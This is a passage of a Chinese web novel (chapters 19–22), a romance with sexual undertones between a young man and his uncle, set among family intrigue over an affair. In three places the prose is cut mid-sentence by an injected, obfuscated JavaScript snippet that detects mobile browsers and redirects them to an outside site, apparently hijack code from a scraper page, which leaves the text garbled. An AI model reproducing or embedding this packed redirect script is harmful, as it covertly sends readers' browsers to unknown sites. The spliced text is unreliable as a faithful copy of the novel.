什么走几步路就停一停! 我那是等你呢! 傅念斐拼死挣扎:“真好了!我真好了!” 虽说的确有点疼,但过几天肯定好了! 然而他越挣扎傅承轩越觉得有问题,男人腰腹上的伤刚好些,也禁不住他这么挣动,因此傅承轩忍不住拍了傅念斐屁股一下以示警告:“别乱动,你好没好我说了算。” 打屁股这种事儿说来奇妙,被不同的人打是不一样的感觉,辛笃学打的时候傅念斐心里又气又怕,小舅舅打他就不一样了…… 他又羞又臊又高兴又舒服又有种极为隐秘的不可言说之快意……所以他下意识地闷哼着抖动一下,随后乖乖趴好,只觉得脑门冒热气。 傅承轩眉头愈发紧蹙:“还说伤好了?不疼你叫唤什么?” 傅念斐:…… 19.19-上药 傅承轩此话一出,傅念斐顿觉心中哀戚,只觉得常言道“心意相通”这四个字恐怕是骗人的。 也不对,这话是说给真正的“心意相通之人”听的,不是尚未互通心意的我和小舅舅,傅念斐思及此处,简直心中更痛。 就这样,他像一根失去求生意志的软面条,被傅承轩放在床上扒了裤子,半点没有反抗。 傅承轩挑眉,瞧了小外甥一眼:“又走神?” 傅念斐双目无神,习惯性敷衍:“嗯嗯,舅舅说得对。” 傅承轩:…… 走神也好,方便上药。 傅念斐自小听话、读书守礼,这辈子也没上过几回药,因此裤子一脱,傅承轩就感觉内衬上黏糊糊一片。 傅承轩:“……你这是把药罐子打翻了?” 傅念斐屁股凉飕飕,等反应过来的时候已经来不及了,只能红着耳根道:“刚被我爹打完的时候是周婆婆帮我涂药,今早上她们都忙着,我又不想让人知道我好多了,就自己涂了。” 伤在屁股和腿上,能看得见的地方他就仔细涂涂,看不见的地方他又不好意思照镜子,索性就瞎抹一通。 “你爹打你的时候怎么不躲?”傅承轩用软毛巾擦掉多余的药膏,动作小心翼翼,“疼不疼?” “不怎么疼。”傅念斐抱着枕头不敢看他,下半张脸都埋在床褥里,只露出通红的耳朵,“一开始想躲来着,我一进屋他就让我跪下认错,我特别生气,但后来他提我娘……” 傅念斐闷闷道:“他说我沉迷宴饮玩乐是辜负我娘……平时我每天都读书的,那天的确贪玩了,一页书都没翻,心虚。” 这是他第一次跟小舅舅同去宴会,他觉得很兴奋,一大早就在打扮。 后来不知怎么,就开始忧心小舅舅是个满世界相好的人,一直趴在床上伤春悲秋。 当晚甚至喝醉了,直到次日中午才起,这么算下来,他至少一日半没看书。 因此辛笃学一提这个他就心虚,没勇气躲了。 傅承轩闻言无奈,他从床头掏出一罐药膏,先用掌心揉搓膏体化开:“你一年恨不能三百六十五日都在读书,即便一日两日不读,以你的个性后续定要补回来,有什么可心虚的?你如果自认对得起你娘、对得起自己,就不要管别人说什么。” 他说:“这世上的绝大多数人,夸你也好贬你也好,都是为了实现自己的目的。他扯着你娘的大旗无非是为了借此由头痛快打你一顿,你走心当真,他便得意泄愤,吃亏的是你。” 傅念斐张了张嘴,没吱声。 他暗道,他娘这面旗到底有多好用他最近已经体会过了,以后傅家人再提他定会小心为上。 不过心虚读书这事儿只是很小一方面,更多还是心虚在他想对小舅舅以下犯上这方面。 他的确对不起他娘。 挨顿打也是应当…… “就算还有别的事儿。”傅承轩突然道,“那也该是你娘亲自罚你,关辛笃学什么事儿?如果云珠姐真罚你,我自会挡在你前面。” 他这话说得没头没脑,傅念斐一懵,然而更让傅念斐惊悚的事还在后面。 那些化开的药膏膏液晶莹尚带着傅承轩的体温,生有薄茧的指腹触感分明,一点点涂上傅念斐尚未全消的红印子。 傅念斐顿时轻哼一声,屁股紧绷。 傅承轩笑出声:“再使劲儿就成泰山石敢当了。” 他弯着唇角边笑边涂,指尖动作轻柔,傅念斐却受不得这个刺激。 傅念斐偷偷攥住枕头角,动来动去躲傅承轩的手指头:“还是我自己涂吧舅舅,要不让李大夫来也行。” 二十岁的年纪正是敏感时候,随便碰几下就往出渗东西,前面的被子要是弄湿了,被舅舅看到说不清楚。 傅承轩没吱声。 他的小外甥鲜少郊游,因此皮肤白皙肉也软和。傅念斐屁股躲来躲去肉便跟着晃,傅承轩被他晃得眼花缭乱、心里搓火,下意识就拍了对方屁股一下,沉声警告:“安分点。” 傅念斐闷哼一声,脚尖当即在被子里蜷起来,那一瞬间,他恨不能手指尖都是渴欲的红。 掌心内抖动的肉感流连不去,傅承轩攥住手心深吸一口气,室内一时静谧无声。显然,这不该是舅舅和外甥的相处之道。 傅承轩闭了下眼睛,再睁眼时眼底那点儿凶恶已悄然无踪,他和缓语气:“我给你的手表呢,怎么没戴?” 提起心爱的手表,傅念斐这才缓过神,他动是不敢再动了,只能夹着双腿抿唇道:“……被人拿走了。” 傅承轩闻言一顿:“嗯?” 提起这事儿傅念斐简直恨不得再栽赃辛笃学八百回,他眼眶泛红,将那天自己听到的、看到的一一说了,这才发现他舅舅并不惊讶。 “你……你是不是早知道了?”傅念斐不可思议,“是他们合谋杀了我娘对不对?秦姨是医女,用药的事儿她最懂了!” 傅承轩涂完最后一点药膏,帮小外甥弄好裤子,这才缓缓道:“秦夕和辛笃学的事儿我也是前几天才知道,原本没想好要不要告诉你,没想到你先知道了。” 在傅承轩心里,成长之痛是切肤之痛,大抵来源于人心变动。当你不得不接受永恒不恒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320627|182603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、人情无情、善恶难辨的时候,你才算成长了,但也不是过去的自己了。 这样的成长之痛,傅承轩是亲自体会过的。因此他很为难,舍不得小外甥吃这样的苦。 傅念斐呆愣着低喃:“舅舅……我是不是很没用?我是娘的儿子,该做她的靠山,可爹在我们眼皮子底下做出这种事,至少五年了,我却一点也不知道。如果我早点发现,娘是不是就不会死了?” “辛笃学胆小如鼠、谨慎至极,他有心瞒你们母子,你们自然知道不了。你娘刚死,他有些得意忘形了,否则也不会在傅家堂而皇之做这种事,还被你发现。” “再者说。”傅承轩淡淡道,“你娘不见得是秦夕杀的。” 傅念斐顿住。 什么? 此时卧房门外传来响动,宁小六低声道:“东家,柳班主来了。” 傅念斐耳朵一竖,柳班主? 耳熟。 傅承轩:“知道了。” 他给小外甥盖好被子,爱怜地揉揉对方脑袋上的软毛:“看你这眼睛就知道你熬了整夜,睡会儿吧,你娘的事儿我来调查,定让该死的人有命偿命。” 傅承轩说完这话起身便走,路过门口时突然顿了一下,招呼宁小六附耳过来。 “你让人盯着点儿辛笃学的动向。”他说,“如果傅家传出让辛笃学搬走的消息,你就准备一箱东西放进念斐房间里,位置隐蔽点,别让人一下就找到。” 宁小六连连点头:“东家放心,箱子里都放什么?” 傅承轩思索片刻,交代了宁小六好几样东西,小六笑眯眯道声“得嘞”,傅承轩这才去书房会客了。 傅念斐趴在床上眼巴巴看着,他听不清傅承轩和宁小六在说什么,但柳班主这个人他着实耳熟…… 傅念斐想了半天,终于想起对方是谁了——柳雪羽,平城知名戏班云柳班的柳班主。 傅承闲跟他提过这个人,说对方是个美人也是个妙人,寻常戏子少有柳班主那种见识的,无论是商界名流还是校内学究都跟对方相谈甚欢,唯一可惜的就是,这位柳班主从不到任何人府里赴宴…… 那、那他怎么来小舅舅家了呢? 傅念斐:…… 此问一出,各色想法翩然而至。傅念斐无端想到傅承轩当年跟戏子在祠堂“苟且”的事,又回想起他娘说的话:你舅舅就算真喜欢男人,也不可能在祠堂跟人瞎胡来。 那、那在家里胡来是不是正合适? 傅念斐这下可趴不住了,他掀开被子扎紧裤腰就往楼下跑,他倒是要看看,这位柳班主是因何要事亲自上门。 20.20-吃醋 傅念斐提好裤子奔出来的时候,书房的门恰好已经关上了。 但来客显然有副好嗓子,声音清亮咬字清楚,傅念斐在书房关门前听到了对方的话。 那位柳班主说:“您可真是位爷,怎么就那么忙呢?三催四请也不来戏班给我捧场,让我办事儿还得我亲自上门汇报。” 对方言语间嬉笑自在足见熟稔,可见是个有话直说性格敞亮的人,和傅念斐文气内敛的个性完全不同。 门咔哒一关,傅承轩答得什么傅念斐是无缘听见了,只能在阴凉无人的楼梯角落里暗自揣测。 他想:舅舅没准只会说声“嗯”,如果不熟的话恐怕连声嗯都没有,只会皱眉。 可他又想:不对……看小六的表情他们应该是熟悉的,柳班主还说舅舅找他办事来着,那……那舅舅会说什么呢? 「你怎么来了?」 「我原打算这几天就去找你的。」 「坐吧,正好有事儿和你说。」 傅念斐想着想着就忍不住脑子一歪,将傅承闲常说的话套在傅承轩身上…… 「我就知道你要来,正等你呢~」 「就得少见几天,才好让你多想想我~」 「你这不是来了么,小骚货~」 楼梯扶手嘎吱一声响,差点让傅念斐掰碎了。 “念斐小少爷?” 宁小六出去办事儿,留宁老八看家,他正想上去找傅念斐呢,没想到对方正在这儿跟楼梯扶手较劲…… 宁老八:“您这是……” 傅念斐支支吾吾一会儿:“我睡不着,也不想在床上趴着,就想看看舅舅干什么呢……咳,来的人是谁呀?跟舅舅很熟吗?他俩什么时候认识的?关系怎么样?” 如果答话的是宁小六,见傅念斐突然间连问一串问题肯定动动脑子再张嘴。 然而宁老八生性耿直,最善依次作答:“是云柳班的柳班主,挺熟的,东家认识我们的时候就认识他,八年了,关系挺好。” 少帅跟下属们处得都挺好。 傅承轩的真实身份还未对外公布,宁老八他们不清楚傅念斐知不知道,所以私下里都不敢多嘴,只称傅承轩“东家”。 至于傅念斐,他知晓小舅舅本名叫阿霆,其他东西傅承轩没说他便不问……可如今倒显出这习惯不好来了。 傅念斐一是不明白,他小舅舅一个离开军队转而从商的人跟柳班主这个开戏班的能有什么要事相商,二是堵心这个十分漫长的八年。 他心说小舅舅离开傅家就八年,那岂不是刚离开傅家就认识柳班主了? 八年…… 小舅舅在傅家总共也就待了八年,对傅念斐而言,这是很久、很深、很难忘、很特别的八年。 可如今小舅舅也跟别人有八年了。 傅念斐沉默半晌才喃喃作答:“哦……杜会长、柳班主,小舅舅不在傅家这些年朋友不少呢,挺好的。” 宁老八耿直点头:“东家朋友这些年遍天下,就连盼着跟东家结亲的小姐们都排成长龙了。傅家这点儿过去就是过眼云烟,以后的日子好着呢,您放心。” 过眼云烟? 傅念斐一口酸气哽在喉咙里,嘴唇颤动两下,好半天才挤出一句话:“嗯,放心……” 他嘴里说放心,两条腿却不由自主地往一楼走,客厅正中央有挑空,正好能看到二楼书房的大门,傅念斐坐在沙发上不动了,眼巴巴看着那道门,恨不能生出一双透视眼。 他暗道,如果舅舅真喜欢男人,对方跟柳班主闭门密谈这件事便让他心里发堵、吃醋、难受。可如果舅舅不喜欢男人……算了,他更难受,连机会都没有。 这幅眼巴巴望夫石般的姿态让宁老八摸不着头脑,但他又不好细问,只能凑近道:“念斐小少爷,东家刚嘱咐后厨给您备了甜汤和点心,要不要去饭厅尝一尝?” 傅念斐情绪低落:“等下再吃吧。” 宁老八挠挠头:“那……喝点开胃的酸梅汤?东家嘱咐人送了冰,正冰着应季瓜果,凉丝丝的可甜,现在吃刚好。” 他话音刚落,厨房的人便送来一碟冰果盘和一碟蝴蝶酥加绿豆糕,酸梅汤料甚至是从平城运来的,煮出来色泽晶莹最是解暑。 上次是荔枝和杨梅,这次是西瓜和蜜瓜,傅承轩从不是讲求吃穿用度的人,唯一那点细腻心思都放在小外甥身上了。 傅念斐捧着西瓜看二楼,心里又酸又甜。 然而这口瓜尚未吃进嘴里,二楼的书房门便开了,傅承轩和柳班主一前一后出来。 似是心有灵犀,傅承轩只一眼便看见正坐在一楼的小外甥,柳班主还在把玩手里的东西,直到对方开口才发现一楼有人。 “没睡?”傅承轩看了看傅念斐手里冰凉的西瓜,以为小外甥是宁可不睡觉也要起来吃东西,便忍不住莞尔,“西瓜太凉,暖和会儿再往嘴里送,明天我让奉城大饭店给你送点冰激凌,喜欢就常订。” 柳班主头回听傅承轩这么温声软语跟人说话,禁不住眉头一挑,眯着眼睛看向傅念斐。 傅念斐听到舅舅的关心心里便重新甜起来,乖乖道:“还没吃呢,等你一起。” 他边说边瞧柳班主,只见对方二十出头的样子,穿着藏青色软缎长衫,身量比傅承轩稍矮些。 皮肤不算白但面容姣好英气十足,指间正把玩着一个镶金嵌玉的小烟杆,看上去十分洒脱,是令人一眼难忘的气度和长相。 傅念斐很少用这样的词汇形容男士,但他实在找不到更合适的形容词了。傅承闲说对方是个美人,的确是。 柳班主同样盯了傅念斐半天。 他的眼神在傅承轩和傅念斐间游移几次,心下了然,这才笑着对傅念斐道:“这就是小外甥了吧?果然斯文俊美一表人才,看着就乖。你舅舅在平城的时候就叨念你叨念得紧,这回终于见着了。” 他这话一出口便是跟傅承轩熟识八年的样子,傅念斐可笑不出来,抿唇客气道:“柳班主,久仰。” 柳班主惊讶:“你知道我?” 傅念斐点头,实话实说,并未因为忧心舅舅和柳班主的关系,便对人家出言不逊:“听家人提起过您的大名,如雷贯耳。” 柳班主趴在二楼栏杆上叹气:“家人?看来不是你小舅舅提的我,我就知道……” 这是怕我教你不学好,把你拐跑了。 “小外甥还没看过我的戏吧?”柳雪羽又问。 什么就知道? 傅念斐一脸迷惑:“学业繁忙,还没来得及。” 柳班主噗嗤一乐:“暑假还看书呢?真是个乖外甥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329036|182603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不怪你舅舅喜欢你,我也喜欢你。等过几天吧,我差人给你送票,大通票,得空就来我戏班玩,我肯定好吃好喝待你。这段时间就算了,为了给你小舅舅办事,可是累死我了,正经得歇几天呢。” 傅念斐“哦”了一声,还没来得及说感谢的话,便听傅承轩淡淡道:“我外甥不爱听戏,免了吧。老八,送柳班主回去。” 傅念斐:? 柳班主坏笑:“嘿哟,是咱外甥真不爱听戏,还是你不乐意咱外甥听我的戏?咱外甥都二十了,有些事儿也该知道知道。” 比如某人的小心思。 咱?有些事儿? 什么事儿?舅舅和柳班主真是一对儿?!傅念斐猛然看向傅承轩,眼珠子瞪溜圆,控诉之情溢于言表。 傅承轩眼前一黑,抬脚踢向柳班主屁股:“纯添乱,滚。” 柳班主嘻嘻哈哈躲开傅承轩这一脚,快步下到一楼:“我跟小外甥还没聊够呢,滚什么滚……要我说啊,有些事儿蛮不住、躲不得、等不了,你这家伙打仗的时候心机深沉步步为营,要是别的事儿也这么干,总有一天会被别人搅和黄了!哈哈!” 柳班主边笑边端着小烟杆吞云吐雾,倏忽一阵过堂风,烟杆附近的烟雾袅袅飘向傅念斐,傅念斐忍不住咳嗽一声。 傅承轩脸更黑:“烟杆灭了。” 熏着我外甥。 傅念斐瞪眼看着,心里泛酸:舅舅真心疼柳班主,连抽烟都要管…… 柳雪羽气哼哼灭了烟杆,嘁,你外甥咳嗽一声这把你心疼的,宝贝的跟眼珠子一样:“想让我闭嘴?行,那柄扇子送我。” 傅承轩看小外甥眼神便知道对方在想什么,他心说傻孩子不识逗,再这么下去怕是要掉小珍珠了…… 无奈,他一边招手让傅念斐过来,另一边对已经备好车的宁老八说:“感谢柳班主今天送来的大新闻,老八,你把那柄裴先生亲笔题字的折扇拿来,给柳班主做谢礼。” 裴先生的亲笔有价无市,在奉城这地方换栋公馆也使得,宁老八稳稳当当将扇盒子捧到柳班主面前,柳雪羽嘴都笑歪了。 “好说好说,你们两个雏儿自己玩吧,不逗你们了。”柳班主笑眯眯抱着盒子,“小外甥,你舅舅平日里不听戏不跳舞一门心思都在你身上,你可不能辜负他。再多我不说了,容易招人烦,回见。” 他说完就走。 傅念斐若有所思地站在原地,满脸似懂非懂,只觉得对方的每字每句都好像话里有话。 他当然知道舅舅对自己很好,舅舅在外这些年没有一刻不关心他和他娘的,每次送信都是厚厚一沓,嘘寒问暖关怀备至…… 柳班主让我不要辜负舅舅,他是以什么身份说这话呢?舅妈么? 傅念斐:…… 想哭。 柳雪羽走后,傅承轩挥挥手示意佣人退下,他扳过傅念斐的下巴,让对方直勾勾盯着柳雪羽背影的目光重归自己身上:“往哪儿看呢?有什么好看的?” 眼珠子都快黏上了。 傅念斐酸溜溜:“看柳班主呢,好看又风趣的男人很少见,舅舅也这么觉得吧?” 傅承轩:…… 刚就不该把扇子给那狗日的。 一醋两吃,柳雪羽再想踏入宁雅公馆的大门恐怕难了。 21.21-趴着 “他好看?”傅承轩面无表情道。 傅念斐不太服气:“还行吧……” 他心道,有人说我是奉城第一美男子来着,所以我跟柳班主应当也不差太多,就算差得多,差哪儿我补哪儿,总有一天我会变得跟柳班主一样人人都喜欢。 当然了,最重要的是舅舅喜欢。 没成想下一秒,傅承轩接着他说:“我也觉得他一般。” 傅念斐:嗯? 傅承轩说完便往沙发上一坐,他慢条斯理卷起衬衫袖子,露出肌肉结实的小臂。 手臂上有青筋,用餐刀切蜜瓜时凸起的手指骨和筋肉线条欲气好看,简直让傅念斐眼花缭乱。 傅念斐忍不住想,舅舅往常很少撩袖子的,没想到不撩袖子养眼,撩起来更养眼。 这袖子撩得值,小外甥眼睛都转不开,傅承轩目的达成,用餐叉戳了块刚切好的蜜瓜,弯起唇角招呼小色鬼过来:“张嘴。” 傅念斐乖乖坐下、乖乖张嘴,直勾勾盯着小舅舅的手,就这样一口气吃掉一整条蜜瓜块。 “手怎么是凉的?”傅承轩用那双喂过蜜瓜的手揉搓着小外甥的五指,声线温柔。 傅念斐被他搓得发晕:“……刚、刚觉得热,拿着西瓜碟里的冰块玩儿了一会儿。” “热?现在还热么?”傅承轩伸手摸摸对方脑门,又按着傅念斐后脑跟自己额头贴额头,探了下温度,“不烧。” 距离太近,近在咫尺,鼻尖几乎相撞,呼吸细细可闻。傅承轩灰蓝色的眼眸仿佛两湾深海,漾着笑意波光,一波接一波地冲刷着傅念斐毫无设防的心脏。 傅念斐两眼发直,耳畔轰鸣:“嗯嗯,舅舅说的对。” 呵,又走神了。 傅承轩笑出声,屈指弹向小外甥额头:“伤还疼吗?” 傅念斐猛然惊醒,捂住额头,此时方有些如坐针毡:“哦哦……好像、好像有点……疼的。” 他臀腿本就有伤,先是坐车颠簸又在沙发上当了半天“望夫石”,如今在再坐下一直吃蜜瓜、盯舅舅、起色心,傅承轩这么一问,他只觉得整个下半身都在钝痛,坐不住了。 傅念斐话音一落便打算起身动动,可傅承轩突然拍了拍自己的大腿,朝他一笑:“坐着难受?那就趴这儿吧。” 傅念斐:…… 啊,人要没了。 肚子撑、屁股疼、心里甜,傅念斐美滋滋趴到小舅舅修长结实的大腿上,柳班主潇洒的背影早被他扔到脑后了。 厅里的佣人已被傅承轩遣走,只要他俩不说话,屋里便一片宁静。 傅承轩用指尖蜷动小外甥的额发,傅念斐懒洋洋地眯着眼睛,这样的时刻太幸福,两人几乎同时心道:就算死在此刻也是值的。 “舅舅。” “嗯?” “柳班主找你说什么来了……” 傅念斐还是想问,否则他心里过不去,晚上肯定睡不着。 傅承轩顿了顿:“他说,秦夕的孩子可能不是辛笃学的。” 傅念斐大惊:“啊?” - 傅承轩入驻奉城之后,他的眼线到处都是,可很多早年间便开始的勾缠纠葛,不是一时半刻就能探知清楚的。 这事儿说来也巧,前几日柳班主在戏园子里招待新友,新友赴宴带着旧友,最后戏园子里支了三桌方才摆下。 酒过三巡,有吟诗的、吹牛的、痛哭的,也有半斤黄汤下肚便开始讲淫技艳情下流话的。 这种事一旦讲起来,少不得要举几个例子,女方姓名更是难以保密,否则兄弟们定要嘲讽他瞎吹牛。 而若说全奉城谁于此道最通,傅承闲必是数一数二,他口才又好,大家次次都围着细听嬉笑。 因此当他提起“有个开医馆的寡妇”时,柳班主耳朵一动,立刻便端着酒杯翩然而至。 柳班主是个牛人,当年被傅承轩送出去训练过,专门给宁家做打探消息的事。傅承闲只是个对戏曲大家毫无戒心的二世祖,小秘密当即被套了个底儿掉。 事后他甚至拉着柳班主的手兄弟情深道:“我信得过你,这事儿我只告诉你一个人,要是传出去……嗝,我娘定要骂死我了,你得帮我保密。” 说话的时候管不住嘴,说完了却要提醒别人保密,这点跟他娘一样。 傅念斐闻言愣住:“秦姨和二舅舅?你是说,秦扬业是二舅舅的儿子?” 傅承轩:“不清楚,傅承闲觉得秦扬业是自己的孩子,辛笃学也这样觉得,真相恐怕只有秦夕清楚了。” 傅念斐趴着玩他小舅舅手指头,思索着回忆:“扬业出生的时候我十五岁,那时候我除了眼巴巴盼着你来信,就是读书、画画、弹钢琴,根本不关心外人的事。秦姨跟我娘认识的时候就说自己是寡妇了,丈夫是战死的。据说那时津城老家有恶霸看她貌美孤身,便总来找事,父母不堪其扰,邻里传她克夫。她一气之下就独自来到奉城,用积蓄开个小医馆,凑活过日子。我娘说她不容易,两人性格也合拍,就经常来往。” 傅承轩:“她们怎么认识的?” 傅念斐:“你死讯传来后,外祖父在城外寺庙里为你立了个长生牌位。当时我和母亲不知道你还活着,便每个月的初一十五都去祭拜。有一次天太热,母亲中暑头晕恶心,正好偶遇在庙里吃素斋的秦姨,她随身带着解暑丸,给娘吃了几颗。” 傅念斐说完便一顿:“难道那个解暑丸有问题?是毒药?秦姨是二房派来杀娘的?” 傅承轩摇头:“你娘中暑这事儿不可预估,就算是时刻盯着你们借机靠近,这样做也太绕远,再说了,云珠姐不一定会吃她的解暑丸。” 傅念斐闻言陷入沉默,和傅承轩一起继续沉思,可他陡然反应过来:“柳班主跟你说这个干什么?你俩只说这个了?” 傅承轩这才笑着看他一眼:“我给钱,他办事,我俩相识八年,一直是这个关系。” 傅念斐振奋仰头:“真的?” 是这么个八年? 他这脑袋抬得仓促,傅承轩闷哼一声,抬手按住小外甥骤然撞在自己下腹处的脑袋:“别一惊一乍。” 我就这一根家伙事儿,差点让你撞断了。 傅念斐后脑勺梆硬,根本不知道自己撞什么上了,他还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16335127|182603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以为小舅舅的伤口又让自己撞裂了,急得不行,连忙翻身跪在沙发旁,去扯傅承轩的衬衣。 “我看看!是不是又出血了!”他眼泪说来就来,心里一急泪珠子就往上涌,眼圈瞬间泛红。 傅承轩也不阻止,任傅念斐扒自己衣服。他心说扒吧扒吧,多看看才能长见识,省得随便上门一位柳班主就觉得好看,盯着人家背影半天转不动眼珠。 衬衣揪出来了,解开扣子四敞大开,对天生骨肉完美的人来说,不穿衣服远比穿衣服更有诱惑力,于本就心存色念的小色鬼来说更是如此。 然而小外甥的心疼总心动快一秒迸发,他凝视着那块已结起血痂的新生皮肉,嘴唇微颤:“当时很疼吧?” “还行。” “还行?每道疤都是「还行」么?骗人……” 雕塑般的身体上旧疤林立,傅念斐蹙着眉心语气轻缓,轻轻抚摸那些痕迹…… 傅承轩呼吸一滞,立刻攥住那只手:“不用担心,过几天就好了。” 他合上衣服,大好风光转瞬即逝,傅念斐至此才从伤感中回神……暗骂自己一句笨蛋。 摸都摸了! 竟然忘记多看几眼! 傅承轩被小外甥摸得心尖发热,他胡乱端起冰镇酸梅汤一饮而尽。 傅念斐眼睛瞪大。 那个我喝过! 傅承轩:“秦夕的事儿我会继续调查的,你不用操心。不过奉城过段时间恐怕不太平,从明天开始我教你用枪……怎么了?” 傅念斐眼神游移:“嗯嗯,舅舅说得对。” 傅承轩:…… 又想什么呢? - 奉城的安危如何,辛笃学短时间内是没空关心了,他刚从牙科诊所出来,更关心自己的两颗大牙什么时候能装回去。 否则他一个堂堂报社主编,怎么在社会上活动?怎么跟人交谈论学?真是要命! 傅承轩。 该死的东西。 辛笃学面色黑沉,用力压低帽檐遮住脸,生怕街上有人同他打招呼,他一路疾走,踏进傅家大院的时候正好看到有佣人在等他。 “姑爷,您电话响了。”佣人说,“那电话铃声好生奇怪,没等接起来呢就挂断,烦死了。” 电话?! 辛笃学闻言面色骤变,连嗯都没嗯一声,迅速回到书房把门一关。 佣人知道他现在说话不方便,心情肯定不好,因此也没起疑,嘀咕着抱怨几句就走了。 现在时间尚早,至少跟约定好的可通话时间相比尚早,辛笃学表情难看,盯着电话犹豫半晌,还是决定主动打回去。 两长一短,然后挂断。 没过多久,对面便回复了两短一长。于是辛笃学连帽子都没来得及摘,就又出去了。 私下见面是在老地方,不如傅家刺激但也别有风味。要不是对方这通电话来的不合时宜,让辛笃学想数落对方几句出出气,他今天也不会过来,因为实在没心情,也没体力。 没想到房门打开后,秦夕惊慌失措道:“笃学,我们好像被人发现……你脸怎么了?” 22.22-学枪 此时正值夜晚,行人寥寥皆一心归家,巷子内外静肃清幽,间或只有蛙鸣几声,因此秦夕略显慌张的声音在此间异常刺耳,辛笃学忍不住面色一变。 “你疯了!进去再说!” 两人推搡进屋大门紧闭,秦夕此时已无心计较辛笃学的暴躁态度和面上瘀痕,她坐在桌边,拿出一块被手帕包裹的手表:“你看这个!” 辛笃学蹙眉:“什么东西?手表?你刚说的话是什么意思?跟这手表有何相干!” 这手表看着就贵重,宝石、贝母、黄金,把辛笃学卖了都不值这一块表的钱,他想不通秦夕是从哪儿弄到这种奢侈物件的。 秦夕咬牙:“你是真不认得还是假不认得?这是你儿子的东西,你不知道么?” “傅念斐的东西?”辛笃学眉头皱得更紧,“他何时有这么贵的表,怎么在你这儿?” “看来他是真知道了……”秦夕无力。 她对辛笃学太了解,对方一张嘴她便知道,辛笃学是真没听说过这块手表,这代表什么呢?这代表傅念斐丢了手表这件事并没在傅家声张过…… 木已成舟,再急切也无济于事,秦夕深吸一口气,缓缓道:“这手表我是从扬业身上搜出来的,那天从傅家回来,他手里抱着傅念斐给他的糖盒子,另一只手按着衣兜,说什么也不脱衣服。我抽了他三巴掌,这才从他手里抢出这块表。” “一开始他不说实话,只说是捡的,后来耐不住打才说了实话,这手表是他从傅念斐手里抢的。”秦夕闭了闭眼睛。 秦扬业的原话是:那瘸子追我,我跑得快,又用石头扔他一下,他这才不追了。我又不是不还他,他平时什么东西都给我,这块破表我就不能玩两天了?!你别打我了!大不了我还他,我不要他的破表了!凭什么好东西都是他的,他都没娘了,怎么还有那么多好东西!娘,你不是说外祖父在津城开大医馆很有钱么?我也想回津城做家里的小少爷,我也想住大房子、坐小轿车、吃太妃糖、戴大金表!我也要! 秦夕跟这孩子讲不通道理,但当时被石头猛砸窗户那一下她是记得的。如果石头砸的是傅念斐,那傅念斐当时人在哪儿呢?窗根底下?她想都不敢想。 傅家大房人多眼杂,谁的人都有就是没有辛笃学的自己人,他们俩从来没在傅家做过苟且之事,没想到只那一回,便被傅念斐看到了。 真是报应。 辛笃学冷汗直流。 此时他方才明白,傅念斐家宴上那番作为,和托婆子告知他的那句“知道该跟谁站在一处”到底是什么意思。 想明白其中关窍后,辛笃学当即站起身焦躁地来回踱步。 不该让傅念斐离开傅家的,当然,他想留也留不住。如今那小子跟傅承轩回家了,临走时语焉不详的一番话,便已让傅家主动念让自己搬出傅家,若是等岳父知道其中内情…… 岳父为了杜会长这条大腿会做到何等地步呢?回想当年傅承轩被杖脊二十扔出傅家大门的惨状,辛笃学只觉得腿肚子转筋…… “咱们得走,得逃,快些,越远越好!”辛笃学吓得已连一句整话都说不全了。 他此时后悔极了,愈发悔不当初,他实在不该趁着酒劲儿得意忘形跟秦夕享受在傅家做夫妻的快乐。 如今东窗事发,若是不快卷铺盖逃命,恐怕自己就是下一个傅承轩,他自认是没有从马贼手下逃生的本事的。 思及此处,辛笃学连忙握住秦夕的手:“你这几天把家财变卖一番,咱们去津城,回你老家去。 ” 秦夕面色一僵,辛笃学并没发现这点细节,但他转念一想也瞬间改口道:“不,咱们去平城,平城繁华人员密集,去了那里咱们一家三口便如游鱼入水,傅家的手伸不到那里去。” 秦夕干笑两声:“怎么就到变卖家财的地步了?念斐毕竟是你亲儿子,只要跟他好好……” “哎呀你懂什么!”辛笃学满地乱转,思前想后还是把家宴上的事跟秦夕说了,“你得知道这件事的严重性,若是弄不好,恐怕咱们命都要没了!” 秦夕心道,谁跟你咱们咱们的…… 但她没吱声。 “这样吧,两天时间,最多三天!”辛笃学一锤定音,“医馆若是不好退全租就只退一半,里边的东西用具折价甩掉,我也去筹些钱,你等我通知。” 辛笃学说完这些便急三火四走了,丝毫没顾及一言不发的秦夕。在他心里秦夕是个需要依靠的女人,又跟自己有了孩子,跟不跟自己走这件事根本不用问,她还能有什么选择呢? 最重要的还是钱的事。 他自己是个父母早亡的读书人,无依无靠无财无势,是依靠才华得到傅家青眼。 